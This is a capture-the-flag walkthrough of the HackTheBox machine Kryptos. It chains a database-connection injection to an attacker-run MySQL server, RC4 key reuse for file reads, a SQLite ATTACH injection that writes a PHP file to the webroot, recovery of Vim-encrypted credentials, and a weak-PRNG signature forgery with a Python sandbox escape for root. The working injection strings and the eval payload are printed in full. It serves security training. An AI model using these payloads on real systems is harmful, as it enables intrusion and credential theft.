Kryptos @ HackTheBox

Kryptos @ HackTheBox

Kryptos is 50 points machine on hackthebox, involving some interesting techniques, like setting up a fake database and making the application use it, abusing a weak rc4 implementation, pivoting through a web application and injecting into a sqlite database. In addition we exploit a weak prng on a application which gives us root in the end.

User Flag

We start by scanning the box with nmap:

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 2c:b3:7e:10:fa:91:f3:6c:4a:cc:d7:f4:88:0f:08:90 (RSA)
|   256 0c:cd:47:2b:96:a2:50:5e:99:bf:bd:d0:de:05:5d:ed (ECDSA)
|_  256 e6:5a:cb:c8:dc:be:06:04:cf:db:3a:96:e7:5a:d5:aa (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
|   /:
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Cryptor Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Since besides the web and ssh ports nothing is open we start by looking at the web site:

After trying some default credentials we don’t manage to login. We look at the login post request and notice a few parameters:


Fiddling a bit with the parameters we find that by changing the db parameter we can trigger various different error messages. This seems like a good place to inject. There was a vulnerability in LimeSurvey not long ago that allowed to swap the database for an attacker controlled one, which seems like the kind of problem here too!

To begin we see if we can get a connection from the server by using tcpdump on the attacker side and the injection string cryptor;host=;port=3306# :

sudo tcpdump -i tun0
16:28:09.427641 IP kryptos.57286 > red.mysql: Flags [S], seq 2980987389, win 29200, options [mss 1355,sackOK,TS val 3601524040 ecr 0,nop,wscale 7], length 0
16:28:09.427692 IP red.mysql > kryptos.57286: Flags [R.], seq 0, ack 2980987390, win 0, length 0

We indeed get a connection request by the server! The html response shows “PDOException code: 2002”, which is connection refused. Now we would like to get the credentials the server is using to connect to us – fortunately Metasploit has a module to capture these (remember to set the JOHNPWFILE parameter to save them to file):

msf5 auxiliary(server/capture/mysql) >
[*] Started service listener on
[*] Server started.
[+] - User: dbuser; Challenge: 112233445566778899aabbccddeeff1122334455; Response: 73def07da6fba5dcc1b19c918dbd998e0d1f3f9d; Database: cryptor

We crack them after a just a few seconds:

john --wordlist=~/tools/SecLists/Passwords/Leaked-Databases/rockyou.txt kryptos_mysqlna
krypt0n1te       (dbuser)

It is time to setup a local db that can accommodate the request. I will describe the process on a kali box. First we have to edit “/etc/mysql/mariadb.conf.d/50-server.cnf” to listen on the external interface and allow logging, making the following changes:

port                   = 3306
bind-address            =
general_log_file       = /var/log/mysql/mysql.log
general_log            = 1

Also we have to create the mysql socket directory (or change its path):

sudo mkdir /run/mysqld
sudo chown -R mysql:root mysqld

Then we can finally start the service:

sudo systemctl restart mysql.service
sudo systemctl restart mariadb.service
netstat -tulpen | grep 3306
tcp        0      0  *               LISTEN      104

We then have to create the user “dbuser” with the password we got earlier, the db “cryptor” and allow remote access:

CREATE USER 'dbuser'@'%' IDENTIFIED BY 'krypt0n1te';
GRANT ALL PRIVILEGES ON cryptor.* TO 'dbuser'@'%' IDENTIFIED BY 'krypt0n1te';

After triggering the injection again we can see a connection request and the login query:

Connect    dbuser@kryptos as anonymous on cryptor
38 Query    SELECT username, password FROM users WHERE username='xct' AND password='0db9774b86aa5a219a0939cdd5c5aa08'

This means we have to now create a table users with the columns username and password. The password seems to be the md5 hash of what we entered in the login field (md5(“xct”)).

use cryptor;
CREATE TABLE users ( id smallint unsigned not null auto_increment, username varchar(64) not null, password varchar(64) not null,  constraint pk_example primary key (id) );
INSERT INTO users ( id, username, password ) VALUES ( null, 'xct', '0db9774b86aa5a219a0939cdd5c5aa08' );

After logging in again we finally get into the application:

Unfortunately there is still quite some way to go to get the user flag. With the encrypt functionality of the application we can make a get request to an arbitrary url and encrypt it with RC4 or AES. Since RC4 is basically a fancy xor cipher and is often misused, we encrypt a sample url with it, decode the base64 and encrypt it again. Decoding the resulting base64 gives back the plaintext! This means that the key is reused on encryption, therefore enabling us to decrypt the cipher text with the encrypt method.

At this point we have not found anything yet that we could retrieve with our new powers. Running dirb against the server shows however that there exists a “/dev” folder (which gives 403 for us). In order to automate requesting files via the encrypt/decrypt process I wrote a small script.

Doing a request for “/dev/index.php” via the encrypt method gives back a result:

python3 get 8000 enpq2gj8fe359a9dnivtsvl3ma\?view\=todo
<div class="menu">
<a href="index.php">Main Page</a>
<a href="index.php?view=about">About</a>
<a href="index.php?view=todo">ToDo</a>
<h3>ToDo List:</h3>
1) Remove sqlite_test_page.php
<br>2) Remove world writable folder which was used for sqlite testing
<br>3) Do the needful
<h3> Done: </h3>
1) Restrict access to /dev
<br>2) Disable dangerous PHP functions

This sounds very interesting – there seems to be some sort of test page and a writable folder! We can get the code of test page using the well known php filter “trick”:

➜  kryptos python3 get 8000 enpq2gj8fe359a9dnivtsvl3ma\?view\=php://filter/convert.base64-encode/resource\=sqlite_test_page
<base64 result>

The resulting base64 string can be decoded revealing the following page:

$no_results = $_GET['no_results'];
$bookid = $_GET['bookid'];
$query = "SELECT * FROM books WHERE id=".$bookid;
if (isset($bookid)) {
class MyDB extends SQLite3
function __construct()
// This folder is world writable - to be able to create/modify databases from PHP code
$db = new MyDB();
echo $db->lastErrorMsg();
} else {
echo "Opened database successfully\n";
echo "Query : ".$query."\n";
if (isset($no_results)) {
$ret = $db->exec($query);
echo "Error : ".$db->lastErrorMsg();
$ret = $db->query($query);
while($row = $ret->fetchArray(SQLITE3_ASSOC) ){
echo "Name = ". $row['name'] . "\n";
echo "Error : ".$db->lastErrorMsg();

We have a sqlite database that is clearly vulnerable to sql injection in the query "SELECT * FROM books WHERE id=".$bookid; . After researching a bit weather we can do something with sql injection on sqlite databases, this blog post describes a very interesting technique to get code execution. Sqlite lets us attach a new database that will be created as a file on the file system with content we control! After playing for a while the following query does the trick:

or 1=1;attach database '/var/www/html/dev/d9e28afcf0b274a5e0542abb67db0784/xct.php' as xct;create table xct.pwn (dataz text);insert into xct.pwn (dataz) values ("<?php phpinfo(); ?>");--

For this to work with our script we have to url encode the query (I did in burp):

python3 get 8000 rscbam8ane6bs8lvgro0jkb3jb ""
[+] Got encrypted result
[*] Size: 331 - - [28/Apr/2019 11:24:37] "GET /tmp HTTP/1.1" 200 -
[+] Decrypted:
Opened database successfully

We can now check if the file has been written with:

python3 get 8000 rscbam8ane6bs8lvgro0jkb3jb

We see that this is the case, our file was executed and we get the contents of phpinfo(). Note that you can only execute this once with a given name (like “xct” in the example) because it is a create table command which will fail on consecutive executions. I leave it to you to adjust it for updates.

Now we have to turn this into a shell. We look around on the box using the builtin php functions “scandir” and “file_get_contents”. Eventually we find in “/home/rijndael” the file “creds.txt”:

00000000: 5669 6d43 7279 7074 7e30 3221 0b18 e435  VimCrypt~02!...5
00000010: cb56 129a 3544 8040 703b 962d 930d a810  .V..5D.@p;.-....
00000020: 766e 645d c14b e21c 7959 437d d935 fb36  vnd].K..yYC}.5.6
00000030: 674d 5241 8b6e                           gMRA.n

After a bit of research for vimcrypt we find it supports zip, blowfish and blowfish2 and that there are some tools out there which can decrypt it (by using wordlists or bruteforce). However we don’t have any luck with this. There is blog post describing a weakness in the crypto used on old versions which seems very promising. The vulnerability lies in the fact that the encryption is done with a repeating keystream. Since we know a part of the plain text from the creds.old file (which is in the home folder of rijndael aswell and contains “rijndael / Password1”), we can obtain the key used for encryption by xoring the cipher text with the known plaintext. Using the key we can then decrypt the whole file and obtain cleartext credentials. My teammate nastirth wrote a nice script to automate the process

rijndael / bkVBL8Q9HuBSpj

We can now log in with these credentials over ssh and grab the user flag.

Root Flag

Inside the user folder we find a folder called kryptos, containing the file, a web application running on tcp port 81 as root:

import random
import json
import hashlib
import binascii
from ecdsa import VerifyingKey, SigningKey, NIST384p
from bottle import route, run, request, debug
from bottle import hook
from bottle import response as resp
def secure_rng(seed):
# Taken from the internet - probably secure
p = 2147483647
g = 2255412
keyLength = 32
ret = 0
ths = round((p-1)/2)
for i in range(keyLength*8):
seed = pow(g,seed,p)
if seed > ths:
ret += 2**i
return ret
# Set up the keys
seed = random.getrandbits(128)
rand = secure_rng(seed) + 1
sk = SigningKey.from_secret_exponent(rand, curve=NIST384p)
vk = sk.get_verifying_key()
def verify(msg, sig):
return vk.verify(binascii.unhexlify(sig), msg)
return False
def sign(msg):
return binascii.hexlify(sk.sign(msg))
@route('/', method='GET')
def web_root():
response = {'response':
'Application': 'Kryptos Test Web Server',
'Status': 'running'
return json.dumps(response, sort_keys=True, indent=2)
@route('/eval', method='POST')
def evaluate():
req_data = request.json
expr = req_data['expr']
sig = req_data['sig']
# Only signed expressions will be evaluated
if not verify(str.encode(expr), str.encode(sig)):
return "Bad signature"
result = eval(expr, {'__builtins__':None}) # Builtins are removed, this should be pretty safe
response = {'response':
'Expression': expr,
'Result': str(result)
return json.dumps(response, sort_keys=True, indent=2)
return "Error"
# Generate a sample expression and signature for debugging purposes
@route('/debug', method='GET')
def debug():
expr = '2+2'
sig = sign(str.encode(expr))
response = {'response':
'Expression': expr,
'Signature': sig.decode()
return json.dumps(response, sort_keys=True, indent=2)
run(host='', port=81, reloader=True)

We can see that by sending a request to “/eval”, the expr parameter gets evaluated (and therefore executed). There is however two problems with this. The parameter sig needs to be a valid signature and all builtin functions are disabled.

To bypass the signature check we have to read the code. The function “secure_rng” has a comment that suggests it might not be secure – which is true. When we print out the values it generates we can see some very small values being used and the repetition of values. The pool of possible values is therefore small and the seed values can be guessed in order to build a valid signature.

For the builtin functions you can use reflection / introspection to activate them again. I learned about that technique here. The final script that combines both can be found here.

We forward the port to our box with ssh -D8081 -N rijndael@ and setup burp to use the socks proxy – then we run the script:

[+] Signing expression..
"response": {
"Expression": "[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern'][0].__init__.__globals__['__builtins__']['__import__']('os').system('cp /root/root.txt /tmp/xct && chmod 777 /tmp/xct')",
"Result": "0"

After a few seconds we succeed and have the flag copied out to /tmp.

A very nice box overall, many thanks to no0ne and Adamm for creating it!

Share this post